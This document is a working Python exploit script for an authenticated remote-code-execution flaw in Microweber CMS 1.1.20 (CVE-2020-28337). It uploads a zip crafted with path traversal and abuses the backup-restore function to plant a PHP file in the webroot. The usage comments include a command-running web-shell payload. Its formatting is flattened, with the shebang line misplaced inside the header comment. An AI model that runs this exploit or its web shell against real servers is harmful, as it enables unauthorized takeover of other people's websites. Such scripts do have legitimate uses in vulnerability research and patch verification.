# Exploit Title: Microweber CMS 1.1.20 - Remote Code Execution (Authenticated) # Date: 2020-10-31 # Exploit Author: sl1nki # Vendor Homepage: https://microweber.org/ # Software Link: https://github.com/microweber/microweber/tree/1.1.20 # Version: <=1.1.20 # Tested on: Ubuntu 18.04 # CVE : CVE-2020-28337 # # Example usage with default phpinfo() payload: # ./microweber_rce.py \ # --hostname "http://microwebertest.com" \ # --username "admin" \ # --password "password123" # # # Example usage with custom payload (shell_exec): # ./microweber_rce.py \ # --hostname "http://microwebertest.com" \ # --username "admin" \ # --password "password123" \ # --payload '<?php if (isset($_REQUEST["fexec"])) {echo "<pre>" . shell_exec($_REQUEST["fexec"]) . "</pre>";} ?>' # # Notes: # * SSL verification is disabled by default # * If for some reason the --target-path "/userfiles/cache #!/usr/bin/python3 #/" doesn't work, "/userfiles/modules/" is a good one too. # # # import argparse import re import requests import sys import zipfile from io import BytesIO # Disable insecure SSL warnings requests.packages.urllib3.disable_warnings() class Microweber(): def __init__(self, baseUrl, proxies=None): self.baseUrl = baseUrl self.proxies = proxies self.cookies = None self.loginUrl = "/api/user_login" self.uploadUrl = "/plupload" self.moveZipToBackupUrl = "/api/Microweber/Utils/Backup/move_uploaded_file_to_backup" self.restoreBackupUrl = "/api/Microweber/Utils/Backup/restore" self.targetPath = "/userfiles/cache/" self.targetFilename = "payload.php" self.zipPayloadName = "payload.zip" def makePostRequest(self, url, data=None, files=None, headers=None): return requests.post(self.baseUrl + url, data=data, files=files, headers=headers, cookies=self.cookies, proxies=self.proxies, verify=False ) def makeGetRequest(self, url, params=None): return requests.post(self.baseUrl + url, params=params, cookies=self.cookies, proxies=self.proxies, verify=False ) def login(self, username, password): res = self.makePostRequest(self.loginUrl, data={ "username": username, "password": password }) if res.status_code == 200 and 'success' in res.json() and res.json()['success'] == "You are logged in!": print(f"[+] Successfully logged in as {username}") self.cookies = res.cookies else: print(f"[-] Unable to login. Status Code: {res.status_code}") sys.exit(-1) def createZip(self, path=None, filename=None, payload=None): # In-memory adaptation of ptoomey3's evilarc # https://github.com/ptoomey3/evilarc if payload == None: payload = "<?php phpinfo(); ?>" zd = BytesIO() zf = zipfile.ZipFile(zd, "w") # The custom Unzip class uses a path under the webroot for cached file extraction # /storage/cache/backup_restore/<md5 hash>/ # so moving up 4 directories puts us at the webroot zf.writestr(f"../../../..{path}{filename}", payload) zf.close() return zd def uploadZip(self, zipData): # Upload the zip data as a general file res = self.makePostRequest(self.uploadUrl, headers={"Referer": ""}, data={ "name": self.zipPayloadName, "chunk": 0, "chunks": 1 }, files={"file": (self.zipPayloadName, zipData.getvalue(), "application/zip")} ) if res.status_code == 200: print(f"[+] Successfully uploaded: {self.zipPayloadName}") j = res.json() print(f"[+] URL: {j['src']}") print(f"[+] Resulting Filename: {j['name']}") self.zipPayloadName = j['name'] else: print(f"[-] Unable to upload: {self.zipPayloadName} (Status Code: {res.status_code})") sys.exit(-1) def getAbsoluteWebRoot(self): # Determine the webroot using the debug output and the DefaultController.php path res = self.makeGetRequest("", params={ "debug": "true" }) if res.status_code != 200: print(f"[-] Unable to collect debug information. Bad server response: {res.status_code}") sys.exit(-1) target = "src/Microweber/Controllers/DefaultController.php" m = re.findall('([\/\w]+)\/src\/Microweber\/Controllers\/DefaultController\.php', res.text) if len(m) == 1: return m[0] else: print(f"[-] Unable to determine the webroot using {target}. Found {len(m)} matches") def moveZipToBackup(self): # Move the uploaded zip file into the backup directory webRoot = self.getAbsoluteWebRoot() hostname = self.baseUrl.split("//")[1] src = f"{webRoot}/userfiles/media/{hostname}/{self.zipPayloadName}" res = self.makeGetRequest(self.moveZipToBackupUrl, params={ "src": src }) if res.status_code == 200 and 'success' in res.json() and res.json()['success'] == f"{self.zipPayloadName} was uploaded!": print(f"[+] Successfully moved {self.zipPayloadName} to backup") else: print(f"[-] Unable to move zip to backup ({res.status_code})") sys.exit(-1) def restoreBackup(self, filename): # With the zip file in the backup directory, 'restore' it, which will cause it to be extracted unsafely res = self.makePostRequest(self.restoreBackupUrl, data={ "id": filename }) if res.status_code == 200 and "Backup was restored!" in res.text: print(f"[+] Successfully restored backup {filename}") else: print(f"[-] Unable to restore backup {filename}") sys.exit(-1) def exploit(self, payload=None): zipData = m.createZip(self.targetPath, self.targetFilename, payload=payload) m.uploadZip(zipData) m.moveZipToBackup() m.restoreBackup(self.zipPayloadName) print(f"[+] Successfully uploaded payload to {self.targetFilename}!=") print(f"[+] Visit: {self.baseUrl}{self.targetPath}{self.targetFilename}") if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("--hostname", required=True, dest="hostname", help="Microweber hostname with protocol (e.g. http://microwebertest.com)") parser.add_argument("--http-proxy", required=False, dest="http_proxy", help="HTTP Proxy (e.g. http://127.0.0.1:8000)") parser.add_argument("--username", "-u", required=True, dest="username", help="Username of administrative user") parser.add_argument("--password", "-p", required=True, dest="password", help="Password of administrative user") parser.add_argument("--payload", required=False, dest="payload", help="Payload contents. Should be a string of PHP code. (default is phpinfo() )") # Uncommon args parser.add_argument("--target-file", required=False, dest="target_file", help="Target filename of the payload (default: payload.php") parser.add_argument("--target-path", required=False, dest="target_path", help="Target path relative to webroot for the payload (default: /userfiles/cache/") parser.add_argument("--zip-name", required=False, dest="zip_name", help="File name of tmp backup zip") args = parser.parse_args() proxies = None if args.http_proxy: proxies = { "http": args.http_proxy } m = Microweber(args.hostname, proxies=proxies) if args.target_file: m.targetFilename = args.target_file if args.target_path: m.targetPath = args.target_path if args.zip_name: m.zipPayloadName = args.zip_name m.login(args.username, args.password) m.exploit(args.payload)